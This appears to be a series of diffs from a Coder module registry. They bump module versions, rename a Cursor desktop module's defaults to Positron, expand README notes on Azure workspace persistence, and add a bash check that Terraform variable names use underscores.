agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({
+1 -1
View File
@@ -65,7 +65,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id
+14 -1
View File
@@ -27,8 +27,21 @@ This template provisions the following resources:
- Azure VM (ephemeral, deleted on stop)
- Managed disk (persistent, mounted to `/home/coder`)
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
### What happens on stop
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
### What happens on delete
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
### Workspace restarts
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
> [!NOTE]
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "positron" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ module "positron" {
module "positron" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
+3 -3
View File
@@ -41,13 +41,13 @@ variable "group" {
variable "slug" {
type = string
description = "The slug of the app."
default = "cursor"
default = "positron"
}
variable "display_name" {
type = string
description = "The display name of the app."
default = "Cursor Desktop"
default = "Positron Desktop"
}
data "coder_workspace" "me" {}
@@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id
+38
View File
@@ -11,6 +11,34 @@ set -euo pipefail
#
# This script only validates changed modules. Documentation and template changes are ignored.
# Validates that Terraform variable names use underscores (snake_case) instead
# of hyphens. Hyphens are technically valid but deprecated and non-idiomatic.
# See: https://developer.hashicorp.com/terraform/language/values/variables
validate_variable_names() {
local dir="$1"
local found_issues=0
while IFS= read -r tf_file; do
while IFS= read -r match; do
local line_num
line_num=$(echo "$match" | cut -d: -f1)
local line_content
line_content=$(echo "$match" | cut -d: -f2-)
local var_name
var_name=$(echo "$line_content" | sed -n 's/.*variable "\([^"]*\)".*/\1/p')
if [[ -n "$var_name" ]]; then
echo " ERROR: $tf_file:$line_num"
echo " Variable \"$var_name\" contains a hyphen."
echo " Rename to \"${var_name//-/_}\" (use underscores instead of hyphens)."
found_issues=$((found_issues + 1))
fi
done < <(grep -n 'variable "[^"]*-[^"]*"' "$tf_file" 2> /dev/null || true)
done < <(find "$dir" -name '*.tf' -type f | sort)
return "$found_issues"
}
validate_terraform_directory() {
local dir="$1"
echo "Running \`terraform validate\` in $dir"
@@ -91,6 +119,16 @@ main() {
fi
done
echo ""
echo "==> Validating Terraform variable names use snake_case..."
for dir in $subdirs; do
if test -f "$dir/main.tf"; then
if ! validate_variable_names "$dir"; then
status=1
fi
fi
done
exit $status
}